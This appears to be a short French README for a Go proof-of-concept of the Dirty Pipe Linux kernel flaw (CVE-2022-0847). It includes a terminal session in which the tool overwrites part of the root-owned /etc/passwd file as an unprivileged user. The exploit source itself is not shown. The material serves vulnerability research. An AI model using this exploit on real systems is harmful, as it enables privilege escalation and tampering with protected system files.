
Exploit proof-of-concept écrit en Go pour CVE-2022-0847 (Dirty Pipe) démontrant l'écrasement arbitraire de fichiers via des tampons de pipe non initialisés, destiné à la recherche éducative sur les vulnérabilités.
La vulnérabilité Dirty Pipe
Uniquement à des fins éducatives
┌──(vagrant㉿kali)-[~]
└─$ ls -al /etc/passwd
-rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd
┌──(vagrant㉿kali)-[~]
└─$ head -n 1 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
┌──(vagrant㉿kali)-[~]
└─$ echo foo > /etc/passwd
zsh: permission denied: /etc/passwd
┌──(vagrant㉿kali)-[~]
└─$ go run main.go /etc/passwd 1 foo
2022/03/08 08:48:03 It worked
┌──(vagrant㉿kali)-[~]
└─$ head -n 1 /etc/passwd
rfoo:x:0:0:root:/root:/usr/bin/zsh